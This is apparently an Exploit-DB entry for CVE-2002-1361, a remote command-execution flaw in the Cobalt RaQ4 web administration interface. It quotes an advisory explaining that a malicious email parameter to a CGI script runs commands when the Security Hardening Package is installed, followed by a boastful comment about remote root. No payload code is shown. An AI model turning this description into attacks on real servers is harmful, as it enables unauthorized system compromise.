标题: Cobalt RaQ4 - Administrative Interface Command Execution EDB-ID: 22072 CVE: 2002-1361 类型: REMOTE 平台: LINUX 发布日期: 2002-12-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6326/info

The RaQ4 is a server appliance distributed and maintained by Sun Microsystems.

A vulnerability has been reported in the web administration interface of the RaQ4. It is possible for a remote attacker to execute commands. By passing malicious email parameter to the vulnerable CGI script, commands are carried out in the security context of the administration server.

This vulnerability only affects RaQ4 servers with the RaQ4 Security Hardening Package (SHP) installed. The SHP is not installed by default.

// RaQ 4 and possibly others easy remote root compromise
// due to a flaw in the Security Hardening package HEHE!
